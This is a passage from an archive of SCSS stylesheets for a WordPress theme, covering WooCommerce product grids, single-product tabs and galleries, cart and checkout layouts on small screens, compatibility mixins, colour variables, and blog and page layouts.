margin-bottom: 0px;
object-fit: cover;
}
.secondary-image {
position: absolute;
z-index: 5;
top: 0px;
left: 0px;
right: 0px;
display: block;
height: auto;
opacity: 0;
}
}
.wc-product__category,
.wc-product__price,
.wc-product__rating {
line-height: 1;
}
}
// Secondary image when hover if exist
.product-has-gallery {
> .wc-product-inner {
&:hover {
img {
opacity: 0;
}
.secondary-image {
opacity: 1;
}
}
}
}
.wc-loop-cats-separator {
clear: both !important;;
flex: none !important;
display: block !important;
width: 100%;
}
.wc-grid-view {
.hide-in-grid {
display: none;
}
}
// List view
.wc-list-view {
.hide-in-list {
display: none;
}
.product {
&.customify-col:not(.product-category) {
width: 100%;
flex: none;
max-width: 999999px;
.wc-product-inner {
flex-direction: row;
@include for_device(mobile) {
flex-direction: column;
}
.wc-product-media {
flex-basis: 32%;
margin-right: 2em;
@include for_device(mobile) {
flex-direction: column;
flex-basis: 100%;
margin-right: 0;
}
}
.wc-product-contents {
flex-basis: 68%;
@include for_device(mobile) {
flex-basis: 100%;
}
display: inline-block;
flex-direction: column;
}
}
}
}
} site/compatibility/wc/_woocommerce-mixins.scss 0000666 00000011612 15114372150 0015656 0 ustar 00 /**
* Deprecated
* Fallback for bourbon equivalent
*/
@mixin clearfix() {
*zoom: 1;
&::before,
&::after {
content: ' ';
display: table;
}
&::after {
clear: both;
}
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin border_radius($radius: 1px) {
border-radius: $radius;
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin border_radius_right($radius: 1px) {
border-top-right-radius: $radius;
border-bottom-right-radius: $radius;
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin border_radius_left($radius: 1px) {
border-top-left-radius: $radius;
border-bottom-left-radius: $radius;
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin border_radius_bottom($radius: 1px) {
border-bottom-left-radius: $radius;
border-bottom-right-radius: $radius;
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin border_radius_top($radius: 1px) {
border-top-left-radius: $radius;
border-top-right-radius: $radius;
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin opacity( $opacity: 0.75 ) {
opacity: $opacity;
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin box_shadow($shadow_x: 3px, $shadow_y: 3px, $shadow_rad: 3px, $shadow_in: 3px, $shadow_color: #888) {
box-shadow: $shadow_x $shadow_y $shadow_rad $shadow_in $shadow_color;
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin inset_box_shadow($shadow_x: 3px, $shadow_y: 3px, $shadow_rad: 3px, $shadow_in: 3px, $shadow_color: #888) {
box-shadow: inset $shadow_x $shadow_y $shadow_rad $shadow_in $shadow_color;
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin text_shadow($shadow_x: 3px, $shadow_y: 3px, $shadow_rad: 3px, $shadow_color: #fff) {
text-shadow: $shadow_x $shadow_y $shadow_rad $shadow_color;
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin vertical_gradient($from: #000, $to: #fff) {
background-color: $from;
background: -webkit-linear-gradient($from, $to);
}
/**
* Deprecated
* Vendor prefix no longer required.
*/
@mixin transition($selector: all, $animation: ease-in-out, $duration: 0.2s) {
transition: $selector $animation $duration;
}
/**
* Deprecated
* Use bourbon mixin instead `@include transform(scale(1.5));`
*/
@mixin scale($ratio: 1.5) {
-webkit-transform: scale($ratio);
transform: scale($ratio);
}
/**
* Deprecated
* Use bourbon mixin instead `@include box-sizing(border-box);`
*/
@mixin borderbox() {
box-sizing: border-box;
}
@mixin darkorlighttextshadow($a, $opacity: 0.8) {
@if lightness($a) >= 65% {
@include text_shadow(0, -1px, 0, rgba(0, 0, 0, $opacity));
}
@else {
@include text_shadow(0, 1px, 0, rgba(255, 255, 255, $opacity));
}
}
/**
* Objects
*/
@mixin menu() {
@include clearfix();
li {
display: inline-block;
}
}
@mixin mediaright() {
@include clearfix();
img {
float: right;
height: auto;
}
}
@mixin medialeft() {
@include clearfix();
img {
float: right;
height: auto;
}
}
@mixin ir() {
display: block;
text-indent: -9999px;
position: relative;
height: 1em;
width: 1em;
}
@mixin icon( $glyph: '\e001' ) {
font-family: 'WooCommerce';
speak: none;
font-weight: normal;
font-variant: normal;
text-transform: none;
line-height: 1;
margin: 0;
text-indent: 0;
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
text-align: center;
content: $glyph;
}
@mixin icon_dashicons( $glyph: '\f333' ) {
font-family: 'Dashicons';
speak: none;
font-weight: normal;
font-variant: normal;
text-transform: none;
line-height: 1;
-webkit-font-smoothing: antialiased;
margin: 0;
text-indent: 0;
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
text-align: center;
content: $glyph;
}
@mixin iconbefore( $glyph: '\e001' ) {
font-family: 'WooCommerce';
speak: none;
font-weight: normal;
font-variant: normal;
text-transform: none;
line-height: 1;
-webkit-font-smoothing: antialiased;
margin-right: 0.418em;
content: $glyph;
text-decoration: none;
}
@mixin iconbeforedashicons( $glyph: '\f333' ) {
font-family: 'Dashicons';
speak: none;
font-weight: normal;
font-variant: normal;
text-transform: none;
line-height: 1;
-webkit-font-smoothing: antialiased;
content: $glyph;
text-decoration: none;
}
@mixin iconafter( $glyph: '\e001' ) {
font-family: 'WooCommerce';
speak: none;
font-weight: normal;
font-variant: normal;
text-transform: none;
line-height: 1;
-webkit-font-smoothing: antialiased;
margin-left: 0.618em;
content: $glyph;
text-decoration: none;
}
@mixin loader() {
&::before {
height: 1em;
width: 1em;
display: block;
position: absolute;
top: 50%;
left: 50%;
margin-left: -0.5em;
margin-top: -0.5em;
content: '';
animation: spin 1s ease-in-out infinite;
background: url('../../images/woocommerce/icons/loader.svg') center center;
background-size: cover;
line-height: 1;
text-align: center;
font-size: 2em;
color: rgba(#000, 0.75);
}
}
site/compatibility/wc/_woocommerce-vars.scss 0000666 00000001636 15114372150 0015327 0 ustar 00 /**
* WooCommerce CSS Variables
*/
$woocommerce: #a46497;
$green: #7ad03a;
$red: #a00;
$orange: #ffba00;
$blue: #2ea2cc;
$primary: #a46497; // Primary color for buttons (alt)
$primarytext: desaturate(lighten($primary, 50%), 18%); // Text on primary color bg
$secondary: desaturate(lighten($primary, 40%), 21%); // Secondary buttons
$secondarytext: desaturate(darken($secondary, 60%), 21%); // Text on secondary color bg
$highlight: adjust-hue($primary, 150deg); // Prices, In stock labels, sales flash
$highlightext: desaturate(lighten($highlight, 50%), 18%); // Text on highlight color bg
$contentbg: #fff; // Content BG - Tabs (active state)
$subtext: #777; // small, breadcrumbs etc site/compatibility/wc/_wc-single-product.scss 0000666 00000015753 15114372150 0015412 0 ustar 00 /*
# Product meta
# Product tabs
# Upsell + Related products section
*/
/**
* Nav Product - next - prev button
*/
.product_title-wrapper {
position: relative;
}
.wc-product-nav {
position: absolute;
top: 0.5em; right: -5px;
> a {
margin: 0px 3px;
display: inline-block;
&:hover {
.nav-thumbnail {
z-index: 100;
left: 50%;
opacity: 1;
}
}
}
.nav-thumbnail {
position: absolute;
top: 100%;
left: -999999px;
width: 100px;
display: block;
transform: translateX( - 50% );
transition: opacity .25s ease-in-out;
z-index: -1;
opacity: 0;
img {
display: block;
margin-top: 10px;
box-shadow: 1px 1px 10px rgba(0,0,0,.06);
}
}
}
.nav-in-title {
.product_title {
margin-right: 70px;
}
}
/**
Product Slider
*/
.flex-direction-nav {
list-style: none;
margin: 0px !important;
padding: 0px !important;
.flex-prev,
.flex-next {
position: absolute;
display: block;
top: 50%;
transform: translate(0, -50%);
padding: 0;
border: none;
outline: none;
z-index: 15;
opacity: 0;
transition: opacity 0.3s linear;
}
.flex-prev {
left: 15px;
}
.flex-next {
right: 15px;
}
.flex-disabled {
.nav-btn {
visibility: hidden;
}
}
}
.woocommerce-product-gallery:hover {
.flex-direction-nav {
.flex-prev,
.flex-next {
opacity: 1;
}
}
}
/**
* Product meta
*/
.product_meta {
font-size: 0.875em;
color: $color_meta;
margin: 1.41575em 0px;
> span {
display: block;
padding: 6px 0px;
border-top: 1px dotted $color_border;
}
}
/**
* Product tabs
*/
.woocommerce-tabs {
clear: both;
margin-bottom: 2em;
ul.tabs {
list-style: none;
padding: 0;
margin: 0 0 1.41575em;
position: relative;
li {
position: relative;
a {
color: currentColor;
}
}
}
&.wc-tabs-horizontal {
ul.tabs {
border-bottom: 1px solid $color_border;
li {
border-bottom: 1px solid transparent;
display: inline-block;
position: relative;
z-index: 0;
padding: 0;
margin: 0 1em -1px;
&:first-child {
margin-left: 0px;
}
&:last-child {
margin-right: 0px;
}
a {
display: inline-block;
padding: 0.5em 0px;
font-size: 1.05em;
}
&.active {
z-index: 2;
border-bottom-color: $color_primary;
a {
color: $color_primary;
text-shadow: inherit;
}
}
}
}
} // wc-tabs-horizontal
&.wc-tabs-vertical {
.wc-tabs {
width: 26%;
margin-right: 4%;
margin-bottom: 2em;
float: left;
@include for_device( mobile ) {
width: 100%;
margin-right: 0;
margin-bottom: 2em;
}
li {
border-bottom: 1px solid $color_border;
&:first-child {
border-top: 1px solid $color_border;
}
&:after {
content: '';
width: .5em;
height: .5em;
display: block;
position: absolute;
top: 50%;
right: .8em;
left: auto;
opacity: 0;
transform: rotate(45deg) translateY( -50% );
border-top: 1px solid #111111;
border-right: 1px solid #111111;
transition: all .3s ease;
}
a {
display: block;
padding: 0.72em 0px;
color: currentColor;
}
&.active {
&:after {
opacity: 1;
}
}
}
}
.wc-tabs-contents {
width: 70%;
float: right;
@include for_device( mobile ) {
width: 100%;
}
}
}
.wc-tabs-contents {
margin-bottom: 2em;
.woocommerce-Tabs-panel--description {
p:last-child {
margin-bottom: 0px;
}
}
}
}
/**
Section and Toggle
*/
.wc-tabs-sections, .wc-tabs-toggle {
.woocommerce-Reviews-title {
display: none;
}
}
.wc-tabs-sections {
.tab-section-heading {
font-size: 1.4em;
a {
color: currentColor;
}
}
.tab-section-content {
margin-top: 0px;
padding-top: 0px;
margin-bottom: 2em;
}
}
.wc-tabs-toggle {
.tab-section-heading {
border-bottom: 1px solid $color_border;
font-size: 1.1em;
font-weight: normal;
display: block;
padding: 0;
margin: 0px;
a {
color: currentColor;
display: block;
padding: 0.9em 0px;
position: relative;
}
a {
&:before, &:after {
content: "";
display: block;
background-color: $color_border;
position: absolute;
top: 50%;
right: 0px;
opacity: 1;
transition: opacity 0.3s linear;
}
&:before{
width: 13px;
height: 2px;
top: 50%;
transform: translateY( - 50% );
}
&:after {
width: 2px;
height: 13px;
top: 50%;
right: 6px;
transform: translate( 1px, -50% );
}
&.active {
&:after{
opacity: 0;
}
}
}
}
.tab-section.active {
.tab-section-heading {
a {
&:after {
opacity: 0;
}
}
}
}
}
.tab-section-content {
padding-top: 1em;
}
/* Upsell + Related products section */
.related.products, .upsells.products {
margin-bottom: 2em;
h2 {
font-size: 1.4em;
margin-bottom: 0px;
}
}
/**
* WooCommerce related heading
*/
.woocommerce-Reviews-title,
.cross-sells h2,
.cart_totals h2,
.wc-tab > h2
{
font-size: 1.4em;
margin-bottom: 1em;
}
site/compatibility/wc/_wc-product.scss 0000666 00000021331 15114372150 0014120 0 ustar 00 /**
* Product page
*/
div.product {
div.images {
@include for_device(mobile) {
order: 5;
}
}
div.thumbnails {
@include clearfix();
a {
float: left;
width: 30.75%;
margin-right: 3.8%;
margin-bottom: 1em;
}
a.last {
margin-right: 0;
}
a.first {
clear: both;
}
&.columns-1 {
a {
width: 100%;
margin-right: 0;
float: none;
}
}
&.columns-2 {
a {
width: 48%;
}
}
&.columns-4 {
a {
width: 22.05%;
}
}
&.columns-5 {
a {
width: 16.9%;
}
}
}
#reviews {
.comment {
@include mediaright();
}
}
}
.woocommerce-pagination {
ul.page-numbers {
@include menu();
}
}
div.product {
margin-bottom: 0;
position: relative;
.product_title {
clear: none;
margin-top: 0;
padding: 0;
font-size: 2em;
line-height: 1.216;
@include for_device( tablet ) {
font-size: 1.9em;
}
@include for_device( mobile ) {
font-size: 1.7em;
}
}
span.price,
p.price {
font-size: 1.25em;
margin-bottom: 0.875em;
ins {
background: inherit;
font-weight: 500;
display: inline-block;
}
del {
opacity: 0.5;
display: inline-block;
}
}
.stock {
color: $highlight;
}
.out-of-stock {
color: red;
}
.woocommerce-product-rating {
margin-bottom: 0.72em;
.woocommerce-review-link {
display: none;
}
}
.wc-product-images {
position: relative;
}
div.images {
margin-bottom: 2em;
img {
display: block;
width: 100%;
height: auto;
box-shadow: none;
}
div.thumbnails {
padding-top: 1em;
}
&.woocommerce-product-gallery {
position: relative;
}
.woocommerce-product-gallery__wrapper {
transition: all cubic-bezier(0.795, -0.035, 0.000, 1.000) .5s;
margin: 0;
padding: 0;
}
.woocommerce-product-gallery__wrapper .zoomImg {
background-color: #fff;
opacity: 0;
}
.woocommerce-product-gallery__image:nth-child(n+2) {
width: 25%;
display: inline-block;
}
.woocommerce-product-gallery__trigger {
position: absolute;
top: 15px;
right: 15px;
font-size: 1em;
z-index: 9;
width: 36px;
height: 36px;
background: rgba(255,255,255,0.5);
border-radius: 100%;
box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.16), 0 0 0 1px rgba(0, 0, 0, 0.08);
color: #888888;
opacity: 0.6;
display: inline-block;
transition: all 0.3s linear;
box-sizing: content-box;
overflow: hidden;
line-height: 10em;
&:hover, &:focus {
opacity: 1;
box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.26), 0 0 0 1px rgba(0, 0, 0, 0.18);
background-color: rgba(255,255,255,0.99);
}
&:before {
content: "\e035";
font-family: "WooCommerce";
display: flex;
height: 100%;
width: 100%;
justify-content: center;
align-items: center;
position: absolute;
top: 50%;
left: 50%;
font-size: 1em;
line-height: 0;
transform: translate( -50%, -50%);
box-sizing: content-box;
}
img {
display: none !important;
}
}
.flex-control-thumbs {
overflow: hidden;
zoom: 1;
margin: 10px -10px 0px;
padding: 0;
li {
width: 25%;
float: left;
margin: 0;
padding: 10px;
list-style: none;
&:last-child {
margin-right: 0px;
}
img {
cursor: pointer;
opacity: .5;
margin: 0;
&.flex-active,
&:hover {
opacity: 1;
}
}
}
}
}
.woocommerce-product-gallery--columns-3 {
.flex-control-thumbs li:nth-child(3n+1) {
clear: left;
}
}
.woocommerce-product-gallery--columns-4 {
.flex-control-thumbs li:nth-child(4n+1) {
clear: left;
}
}
.woocommerce-product-gallery--columns-5 {
.flex-control-thumbs li:nth-child(5n+1) {
clear: left;
}
}
div.summary {
margin-bottom: 2em;
}
div.social {
text-align: right;
margin: 0 0 1em;
span {
margin: 0 0 0 2px;
span {
margin: 0;
}
.stButton .chicklets {
padding-left: 16px;
width: 0;
}
}
iframe {
float: left;
margin-top: 3px;
}
}
p.cart {
margin-bottom: 2em;
@include clearfix();
}
form.cart {
margin-bottom: 1.41575em;
@include clearfix();
div.quantity {
float: left;
margin: 0 1em 0em 0;
}
table {
border-width: 0 0 1px;
td {
padding-left: 0;
}
div.quantity {
float: none;
margin: 0;
}
small.stock {
display: block;
float: none;
}
}
.variations {
margin-bottom: 1.41575em;
border: 0;
width: 100%;
tr {
margin-bottom: 0.72em;
display: block;
&:last-child {
margin-bottom: 0;
}
}
td,
th {
border: 0;
vertical-align: top;
line-height: 2em;
}
label {
font-weight: 500;
}
select {
max-width: 100%;
min-width: 50%;
width: 150px;
display: inline-block;
margin-right: 1em;
color: #444444;
}
td.label {
padding-right: 1em;
}
}
.woocommerce-variation-description p {
margin-bottom: 1em;
}
.reset_variations {
visibility: hidden;
font-size: 0.83em;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.wc-no-matching-variations {
display: none;
}
.button {
vertical-align: middle;
float: left;
}
.group_table {
td.woocommerce-grouped-product-list-item__label {
padding-right: 1em;
padding-left: 1em;
}
td {
vertical-align: top;
//padding-bottom: 0.5em;
border: 0;
}
td:first-child {
width: 11em;
text-align: center;
.button.product_type_variable {
font-size: 0.7em;
min-height: auto;
margin-left: 1em;
}
}
.wc-grouped-product-add-to-cart-checkbox {
display: inline-block;
width: auto;
margin: 0 auto;
transform:scale(1.5, 1.5);
}
}
}
}
span.onsale {
padding: 2px 8px;
position: absolute;
text-align: center;
top: 1em;
left: 1em;
margin: 0;
border-radius: 2px;
background-color: $highlight;
color: $highlightext;
font-size: 0.72em;
z-index: 9;
display: flex;
align-items: center ;
justify-content: center;
text-transform: uppercase;
letter-spacing: 0.5px;
font-weight: bold;
.amount {
color: inherit !important;
}
} site/compatibility/woocommerce-smallscreen.scss 0000666 00000005346 15114372150 0016116 0 ustar 00 /**
* woocommerce-smallscreen.scss
* Optimises the default WooCommerce frontend layout when viewed on smaller screens.
*/
/**
* Imports
*/
@import '../utils/vars';
@import "../utils/mixins";
/**
* Style begins
*/
.woocommerce,
.woocommerce-page {
table.shop_table_responsive {
thead {
display: none;
}
tbody {
tr:first-child {
td:first-child {
border-top: 0;
}
}
th {
display: none;
}
}
tr {
display: block;
td {
display: block;
text-align: right !important; // Important to overwrite order status inline styling
&.order-actions {
text-align: left !important; // This must always align left on handheld
}
&::before {
content: attr(data-title) ': ';
font-weight: 700;
float: left;
}
&.product-remove,
&.actions {
&::before {
display: none;
}
}
}
}
}
table.my_account_orders {
tr {
td {
&.order-actions {
text-align: left;
&::before {
display: none;
}
.button {
float: none;
margin: 0.125em 0.25em 0.125em 0;
}
}
}
}
}
/**
* General layout
*/
.col2-set {
.col-1,
.col-2 {
float: none;
width: 100%;
}
}
/**
* Products
*/
ul.products[class*='columns-'] {
li.product {
width: 48%;
float: left;
clear: both;
margin: 0 0 2.992em;
&:nth-child( 2n ) {
float: right;
clear: none !important; // This should never clear.
}
}
}
/**
* Product Details
*/
div.product,
#content div.product {
div.images,
div.summary {
float: none;
width: 100%;
}
}
/**
* Cart
*/
table.cart,
#content table.cart {
.product-thumbnail {
display: none;
}
td.actions {
text-align: left;
.coupon {
float: none;
@include clearfix();
padding-bottom: 0.5em;
width: 100%;
}
> .button {
width: 100%;
}
}
}
.cart-collaterals {
.cart_totals,
.shipping_calculator,
.cross-sells {
width: 100%;
float: none;
text-align: left;
}
}
/**
* Checkout
*/
&.woocommerce-checkout {
form.login {
.form-row {
width: 100%;
float: none;
}
}
}
#payment {
.terms {
text-align: left;
padding: 0;
}
#place_order {
float: none;
width: 100%;
box-sizing: border-box;
margin-bottom: 1em;
}
}
/**
* Account
*/
.lost_reset_password {
.form-row-first,
.form-row-last {
width: 100%;
float: none;
margin-right: 0;
}
}
}
.woocommerce-account {
.woocommerce-MyAccount-navigation,
.woocommerce-MyAccount-content {
float: none;
width: 100%;
}
}
/**
* Twenty Thirteen specific styles
*/
.single-product {
.twentythirteen {
.panel {
padding-left: 20px !important;
padding-right: 20px !important;
}
}
}
site/compatibility/woocommerce.scss 0000666 00000004243 15114372150 0013603 0 ustar 00 @import '../utils/vars';
@import "../utils/mixins";
@import 'wc/woocommerce-mixins';
@import 'wc/woocommerce-vars';
@import 'wc/woocommerce-animation';
@import 'wc/woocommerce-fonts';
@import "wc/woocommerce-layout";
@import "wc/woocommerce-main";
@import "wc/wc-loop";
@import "wc/wc-widgets";
@import "wc/wc-cart";
@import "wc/wc-single-product";
@import "wc/wc-elements";
@import "wc/wc-product";
@import "wc/wc-order";
@import "wc/wc-forms";
@import "wc/wc-reviews";
@import "wc/wc-cart-checkout";
/* Sale on badge */
.woocommerce span.onsale {
padding: .202em .602em;
}
/* Single Product */
.single-product div.product table.variations td, .single-product div.product table.variations th {
display: list-item;
padding: 0;
list-style: none;
background-color: transparent;
}
.single-product div.product .single_variation .price {
margin-bottom: 1em;
display: block;
}
/* My account navigation & content */
.woocommerce-account {
.woocommerce-MyAccount-navigation {
width: 24%;
ul {
list-style: none;
margin-left: 0px;
li {
a {
display: block;
padding: 10px 0px 11px;
border-bottom: 1px solid $color_border;
}
&.is-active {
a {
color: $color_link_hover;
}
}
}
}
}
.woocommerce-MyAccount-content {
width: 72%;
}
}
.footer_payment_methods {
display: inline-block;
margin: 0px;
padding: 0px;
list-style: none;
font-size: 25px;
line-height: 0px;
li {
i:before {
line-height: 0px;
}
line-height: 0px;
&:last-child {
margin-right: 0px;
}
&:first-child {
margin-left: 0px;
}
display: inline-block;
}
}
.woocommerce-pagination{
.customify-infinity-loader{
.customify-infinity-button.button{
&.loading{
&::after{
content: none!important;
}
}
}
}
} site/layouts/_blogs.scss 0000666 00000026753 15114372150 0011372 0 ustar 00 $blog_gutter: $gl-gutter;
.bypostauthor {
display: inline-block;
}
.entry-title {
word-wrap: break-word;
}
.entry-meta {
> span {
display: inline-block;
padding: 5px 0;
}
.sep {
margin-left: 8px;
margin-right: 8px;
}
.author {
img {
vertical-align: middle;
overflow: hidden;
border-radius: 50%;
margin-right: 5px;
}
}
}
.posts-layout {
.entry {
margin-bottom: 2em;
}
.entry--item {
margin-bottom: 15px;
&:last-child {
margin-bottom: 0px;
}
}
.entry-inner {
display: flex;
flex-wrap: wrap;
align-items: stretch;
width: 100%;
border-bottom: 1px solid $color_border;
padding-bottom: 2em;
@include for_device( mobile ){
display: block;
}
}
.entry-media {
position: relative;
max-width: 100%;
flex-basis: 40%;
padding-top: 0;
overflow: hidden;
@include for_device( mobile ){
margin-bottom: 1em;
width: 100% !important;
padding-top: 56.25%; // 16:9
}
}
.entry-thumbnail {
position: absolute;
top: 0px;
bottom: 0px;
width: 100%;
height: 100%;
display: flex;
line-height: 0;
background-color: #d5d5d5;
img {
object-fit: cover;
width: 100%;
height: auto;
}
a {
position: absolute;
top: 0px;
top: 0px;
display: block;
}
}
.entry-title {
font-size: 1.5em;
font-weight: 500;
word-wrap: break-word;
display: flex;
align-items: center;
a {
text-align: inherit;
display: block;
flex-basis: 100%;
}
}
.entry-excerpt {
p{
&:last-child {
margin-bottom: 0px;
}
}
}
.entry-media-link {
position: absolute;
top: 0; left: 0; right: 0; bottom: 0; display: block;
z-index: 30;
}
.entry-content-data {
flex: 1;
word-wrap: break-word;
max-width: 100%;
}
.entry-readmore {
margin-top: 1em;
}
.entry-cat {
top: 0;
display: block;
a {
color: inherit;
&:hover {
color: inherit;
}
}
}
.readmore-button {
display: inline-block;
line-height: 1;
border: 1px solid $color_primary;
color: $color_primary;
border-radius: 2px;
cursor: pointer;
padding: 7px 17px;
font-size: 13px;
text-transform: uppercase;
letter-spacing: 0.5px;
transition: transform .18s, border .18s, background .18s, box-shadow .18s, opacity .18s, color .18s;
font-weight: 500;
&:hover {
background: $color_primary;
color: #FFFFFF;
border-color: $color_primary;
}
}
.entry-content-data {
display: flex;
flex-flow: column nowrap;
}
.entry-article-part {
position: relative;
width: 100%;
margin-bottom: 15px;
&:first-child {
margin-top: 0;
}
&.entry-article-media {
flex: none;
position: absolute;
top: 0px;
width: 100%;
height: 100%;
overflow: hidden;
}
&.entry-article-footer{
display: flex;
margin-top: auto;
margin-bottom: 0px;
justify-content: space-between;
&.only-more {
.entry-readmore {
width: 100%;
}
}
}
}
.entry-article-footer {
align-items: center;
> *, .entry-meta {
margin-bottom: 0px;
margin-top: 0px;
display: inline-block;
}
}
.entry-thumbnail {
transition: all .3s linear;
img {
transition: all .3s linear;
}
&:before {
transition: all .3s linear;
content: "";
display: block;
position: absolute;
top: 0px; left: 0px; bottom: 0px; right: 0px;
z-index: 2;
}
}
.entry-article-media {
z-index: 5;
}
// Media content align
.mc-bottom {
.media-content-inner {
position: absolute;
left: 0px;
bottom: 0px;
width: 100%;
display: block;
}
}
.mc-top {
.media-content-inner {
position: absolute;
left: 0px;
top: 0px;
width: 100%;
display: block;
}
}
.mc-center {
.media-content-inner {
position: absolute;
left: 0px;
top: 0px;
bottom: 0px;
right: 0px;
display: flex;
flex-direction: column;
justify-content: center;
}
}
&.layout-- {
&blog_column, &blog_boxed {
.entry-inner {
display: block;
.entry-content-data, .entry-article-header {
display: flex;
flex-direction: column;
}
}
}
&blog_classic {
.entry-media {
margin-right: $blog_gutter;
@include for_device( mobile ) {
margin-right: 0px;
}
}
}
&blog_column, &blog_boxed {
.entry-media {
padding-top: 40%;
}
.entry {
display: block;
}
.sticky {
.entry-content-data {
background-color: #fcf8e3;
border: 1px solid #faf2cc;
border-top: 0px none;
color: #8a6d3b;
padding: 1em;
}
}
.entry-media {
margin-bottom: 1em;
display: block;
position: relative;
}
}
&blog_boxed {
.entry-content-data {
padding: ( $blog_gutter /2 );
}
}
}
}
// Pagination
.pagination {
margin: 30px auto;
display: block;
.nav-links {
> * {
border: 1px solid $color_border;
color: $color_meta;
padding: 4px 12px 4px;
border-radius: 1px;
text-transform: uppercase;
font-weight: 500;
letter-spacing: 0.8px;
display: inline-block;
&:hover {
border-color: $color_primary;
background: $color_primary;
color: #FFFFFF;
}
}
span {
border-color: $color_primary;
background: $color_primary;
color: #FFFFFF;
}
}
}
// Single post
.single {
.entry-meta {
margin-bottom: ms(1);
}
.entry-footer {
margin-bottom: ms(2);
}
}
.entry-content {
.page-links {
display: block;
margin: 5px 0px 20px;
font-weight: 500;
a {
border: 1px solid $color_border;
padding: 5px 12px 5px;
text-transform: uppercase;
color: $color_text;
margin: 0px 2px;
}
}
.table-wrapper {
max-width: 100%;
overflow: auto;
}
}
.single-post {
.entry-content {
a {
&:hover {
text-decoration: underline;
}
}
}
}
.entry-single {
.entry--item:not( .entry-title ), .entry-thumbnail {
margin-bottom: 1.41575em;
&:last-child {
margin-bottom: 0px;
}
}
.entry--item.entry-related {
margin-bottom: 0.41575em;
}
.tags-links, .cats-links {
&:before {
font: normal normal normal 16px/1 FontAwesome;
text-decoration: inherit;
text-transform: none;
position: relative;
margin-right: 5px;
color: $color_meta;
}
}
.cats-links:before {
content: "\f115";
}
.tags-links:before {
content: "\f02c";
}
.edit-link {
display: block;
width: 100%;
margin-top: ms(-3);
a {
text-transform: uppercase;
font-weight: 500;
font-size: 80%;
letter-spacing: 0.5px;
}
}
}
// Biography box
.author-bio {
display: flex;
.avatar {
flex-basis: 90px;
@include for_device( mobile ){
flex-basis: 90px;
}
}
.author-bio-details {
flex-basis: calc( 100% - 90px );
margin-left: 1.5em;
@include for_device( mobile ){
flex-basis: calc( 100% - 50px );
}
}
.author-bio-desc p:last-child {
margin-bottom: 0.72em;
}
}
.post-navigation .nav-links {
@include clearfix();
padding: 16px 0px 15px;
border-top: 1px solid $color_border;
border-bottom: 1px solid $color_border;
.nav-previous, .nav-next {
width: 49%;
a {
span.meta-nav {
display: block;
margin-bottom: 5px;
}
}
}
.nav-previous {
float: left;
text-align: left;
}
.nav-next {
float: right;
text-align: right;
}
}
// Related Posts
.related-post-title {
margin-bottom: 0.41575em;
@include for_device( mobile ){
margin-bottom: 0;
}
}
.related-post {
margin-bottom: 1em;
.entry-title {
font-size: 1.1em;
line-height: 1.3;
}
}
.related-thumbnail {
a {
display: block;
line-height: 0px;
position: relative;
}
}
.img-pos-left , .img-pos-right {
.related-post {
display: flex;
@include for_device( mobile ){
display: block;
}
}
.related-thumbnail {
flex-basis: 160px;
position: relative;
@include for_device( mobile ){
margin-bottom: 1em;
}
img {
width: 100%;
object-fit: cover;
display: block;
}
}
.related-body {
flex-basis: calc( 100% - 160px );
p {
margin-bottom: 0px;
}
}
}
.img-pos-left {
.related-body {
padding-left: 1em;
@include for_device( mobile ){
padding-left: 0em;
}
}
}
.img-pos-right {
.related-body {
order: 1;
padding-right: 1em;
@include for_device( mobile ){
padding-right: 0em;
}
}
.related-thumbnail {
order: 2;
}
}
.img-pos-top {
.related-thumbnail {
margin-bottom: 0.5em;
img {
width: 100%;
}
}
}
site/layouts/_pages.scss 0000666 00000000501 15114372150 0011342 0 ustar 00 /* Page Mics */
.archive, .search {
.page-title {
margin-bottom: 35px;
padding-bottom: 20px;
border-bottom: 1px solid $color_border;
}
}
/* Search Page */
.search {
.content-area {
.entry-summary p:last-child {
margin-bottom: 0px;
}
}
}
/* 404 Page */ site/layouts/_layouts.scss 0000666 00000013721 15114372150 0011753 0 ustar 00 /*--------------------------------------------------------------
>>> TABLE OF CONTENTS:
----------------------------------------------------------------
# Layouts Helper
# Layout: content-sidebar
# Layout: sidebar-content
# Layout: sidebar-sidebar-content
# Layout: content-sidebar-sidebar
# Layout: sidebar-content-sidebar
*/
/************************
HIDING COLS FOR DEVICES
*************************/
@each $mq-key, $mq-value in $gl-devices-list {
@media #{$mq-value} { //_#{$mq-key}
.hide-on-#{$mq-key},
.customify-grid .hide-on-#{$mq-key} { display: none; }
.align-left-#{$mq-key} { text-align: left; }
.align-center-#{$mq-key} { text-align: center; }
.align-right-#{$mq-key} { text-align: right; }
}
}
#page {
position: relative;
}
.no-box-shadow {
box-shadow: none !important;
}
// Site boxed layout.
.site-boxed, .site-framed {
.site {
max-width: 1248px;
box-shadow: 0 3px 6px -4px rgba(0,0,0,0.16), 0 3px 6px rgba(0,0,0,0.23);
margin: 0 auto;
}
}
// Site framed layout.
.site-framed {
.site {
margin-top: 30px;
margin-bottom: 30px;
}
}
.customify-container {
position: relative;
padding-left: 2em;
padding-right: 2em;
@include clearfix;
@include mq(max-sm) {
padding-left: 1em;
padding-right: 1em;
}
}
.customify-container, .layout-contained{
// max-width: $container_width; // 1200px
max-width: 1248px; // 1200px
margin: 0 auto;
}
.site-content {
background: #fff;
&.content-full-width {
.customify-container {
max-width: 100%;
}
}
&.content-boxed {
max-width: $container_width;
margin: 0 auto;
}
&.content-full-stretched {
.customify-container {
max-width: 100%;
}
> .customify-container {
padding-left: 0px;
padding-right: 0px;
.customify-grid {
margin: 0px;
}
.content-area.customify-col-12 {
margin-right: 0px;
margin-left: 0px;
}
}
#main.customify-col-12 {
padding:0;
}
}
}
#sidebar-secondary, #sidebar-primary, #main {
padding-top: ms(4);
padding-bottom: ms(4);
}
.sidebar-content-sidebar {
#main {
@include for_device( tablet ) {
border-left: 0px none;
}
}
